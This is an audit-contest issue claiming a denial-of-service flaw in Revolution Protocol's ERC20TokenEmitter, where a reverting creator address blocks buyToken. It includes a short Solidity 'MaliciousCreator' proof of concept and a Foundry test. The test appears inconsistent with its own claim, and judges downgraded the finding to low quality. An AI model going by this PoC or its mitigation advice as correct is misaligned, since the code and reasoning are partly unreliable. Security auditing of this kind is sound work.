code-423n4 / 2023-12-revolutionprotocol-findings

3 stars 2 forks source link

The `creator` can perform a DoS attack which will make users unable to buy tokens #726

Closed c4-bot-10 closed 8 months ago

c4-bot-10 commented 8 months ago

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/ERC20TokenEmitter.sol#L196

Vulnerability details

HIGH

The creator can perform a DoS attack which will make users unable to buy tokens

Description:

On each call, the function buyToken in ERC20TokenEmitter.sol sends a cut of the funds to the creator's address by using .call{...}. If the creator decides, they have the power to make the function unusable by making their fallback function always revert.

Proof of Concept:

Since a part of the cut is sent to the creator's address by calling their fallback function each time the buyToken is executed by using .call{}(which calls the receiver's fallback function) they have the power to make the buying impossible by making sure that their fallback function reverts every time that it is called. Users will not be able to buy tokens.

ERC20TokenEmitter.sol

The creator's cut is being sent to them by calling their fallback function. This makes the contract vulnerable to a DoS attack.

        if (creatorDirectPayment > 0) {
            (success, ) = creatorsAddress.call{ value: creatorDirectPayment }(new bytes(0));
            require(success, "Transfer failed.");
        }

The following is a test function proving that the creator can perform a DoS attack and make the buying of tokens impossible.

You can test it by putting this code in the ERC20TokenEmitter.t.sol.

contract MaliciousCreator {
    ERC20TokenEmitter erc20TokenEmitter;

    constructor(address _emitter) {
        erc20TokenEmitter = ERC20TokenEmitter(_emitter);
    }

    function call() external payable {
        revert(" ");
    }
}
    function testBuyTokenCreatorDoS() public {
        MaliciousCreator maliciousCreator = new MaliciousCreator(address(erc20TokenEmitter));

        vm.startPrank(address(0));

        address[] memory recipients = new address[](1);
        recipients[0] = address(1);

        uint256[] memory bps = new uint256[](1);
        bps[0] = 10_000;

        erc20TokenEmitter.setCreatorsAddress(address(maliciousCreator));

        vm.deal(address(0), 100000 ether);

        erc20TokenEmitter.buyToken{ value: 1e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );
        vm.stopPrank();
        assert(erc20TokenEmitter.balanceOf(address(1)) > 0);
    }

Tools Used:

Foundry, VS Code

Recommended Mitigation Steps:

Consider using .transfer or making a creator's balance and a separate function that will allow the creator to withdraw their funds. By doing so, the function for buying tokens will only be responsible for its purpose and everyone else that should receive a cut will be able to withdraw their funds separately.

Assessed type

DoS

c4-pre-sort commented 8 months ago

raymondfam marked the issue as insufficient quality report

c4-pre-sort commented 8 months ago

raymondfam marked the issue as duplicate of #39

c4-judge commented 8 months ago

MarioPoneder changed the severity to QA (Quality Assurance)

c4-judge commented 8 months ago

MarioPoneder marked the issue as grade-c